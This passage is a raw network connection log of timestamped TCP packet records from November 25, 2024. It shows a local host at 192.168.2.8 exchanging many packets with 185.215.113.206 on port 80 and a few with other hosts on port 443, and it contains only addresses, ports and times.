Nov 25, 2024 03:39:48.690485954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.690524101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.691606045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.691617012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.691687107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.691720009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.691884995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.691899061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.691941977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.692033052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.692092896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.752322912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.752386093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.752434015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.752609968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.752974987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.753068924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.753120899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.754059076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.754136086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.754184961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.754313946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.755445957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.755496979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.755527973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.755678892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.760755062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.760766029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.760777950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.760790110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.760864973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.760864973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.761779070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.761832952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.761965036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.762026072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.835019112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.835030079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.835083961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.835592985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.835639000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.835763931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.835808992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.836827993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.836843967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.836911917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.836911917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.837642908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.837764025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.837979078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.838021994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.838866949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.838881016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.838922024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.839919090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.839967012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.840039015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.840079069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.841109037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.841124058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.841173887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.841173887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.842150927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.842205048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.842300892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.842343092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.843154907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.843204021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.843329906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.843369961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.844191074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.844299078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.844357014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.844403982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.845465899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.845482111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.845521927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.845541000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.846288919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.846340895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.846472025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.846512079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.847367048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.847528934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.847537994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.847577095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.848407030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.848469973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.848582983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.848624945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.849478960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.849531889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.849668980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.849711895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.850548983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.850599051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.850737095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.850821018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.851588964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.851715088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.851774931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.851963043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.852792978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.852807045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.852838993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.852859020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.853605032 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:48.853689909 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:48.853768110 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:48.853856087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.853903055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.854044914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.854091883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.854937077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.855000019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.855082989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.855122089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.856106043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.856120110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.856163025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.856173992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.856268883 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:48.856304884 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:48.857139111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.857151985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.857219934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.857219934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.858108044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.858242035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.858290911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.858618021 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.858644962 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:48.858800888 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.858942032 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.858964920 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:48.859009027 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.859250069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.859419107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.859458923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.860266924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.860311031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.860434055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.860462904 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.860475063 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:48.860512018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.860742092 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:48.860754967 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:48.861449957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.861466885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.861485004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.861499071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.862440109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.862612009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.862622976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.862646103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.863603115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.863619089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.863661051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.863661051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.864556074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.864712000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.864734888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.864761114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.865601063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.865616083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.865649939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.866719961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866744041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866755962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.866771936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866781950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.866781950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866795063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866802931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.866806030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.866816998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.866836071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.867649078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.867707968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.867741108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.867774963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.868868113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.868881941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.868917942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.868952990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.869782925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.869822979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.869875908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.869906902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.870831013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.870865107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.870893955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.870929956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.871936083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.871951103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.871973038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.871997118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.872965097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.873002052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.873070955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.873125076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.874036074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.874145031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.874171019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.874181986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.875099897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.875180960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.875197887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.875247002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.876120090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.876189947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.876224041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.876266003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.877116919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.877166986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.877230883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.877382040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.878142118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.878154993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.878213882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.878213882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.879158020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.879204988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.879268885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.879303932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.880124092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.880172968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.880194902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.880232096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.881108999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.881154060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.881176949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.881205082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.910681009 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.916671038 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.916697025 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.917143106 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.920197010 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.920402050 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.946475983 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.946814060 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.946831942 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.947153091 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.947463036 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.947523117 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.961951971 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.962187052 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.962213039 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.962579012 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.962763071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.962816000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.962821007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.962857962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.962887049 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.962948084 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:48.963268995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.963336945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.963363886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.963412046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.964025021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.964081049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.964126110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.964165926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.965024948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.965141058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.965145111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.965179920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.966017962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.966084003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.966116905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.966197968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.967030048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.967129946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.967129946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.967170954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.968008041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.968059063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.968148947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:48.968189955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:48.973789930 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:48.988511086 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.997461081 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.997811079 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.997822046 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.998166084 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:48.998611927 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:48.998682976 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:49.043575048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.043648958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.043730974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.043730974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.044007063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.044114113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.044154882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.044878006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.044928074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.044987917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.045033932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.045789003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.045835972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.045856953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.045902014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.046654940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.046700954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.046755075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.046797991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.047511101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.047561884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.047597885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.047642946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.048402071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.048449993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.048484087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.048522949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.049382925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.049396992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.049444914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.049479961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.050133944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.050262928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.050298929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.050322056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.051023960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.051070929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.051103115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.051219940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.051917076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.051935911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.051955938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.051980019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.052783966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.052839994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.052901983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.053020000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.053661108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.053720951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.053755999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.053797007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:49.054558039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:49.054615974 CET	49748	80	192.168.2.8	185.215.113.206
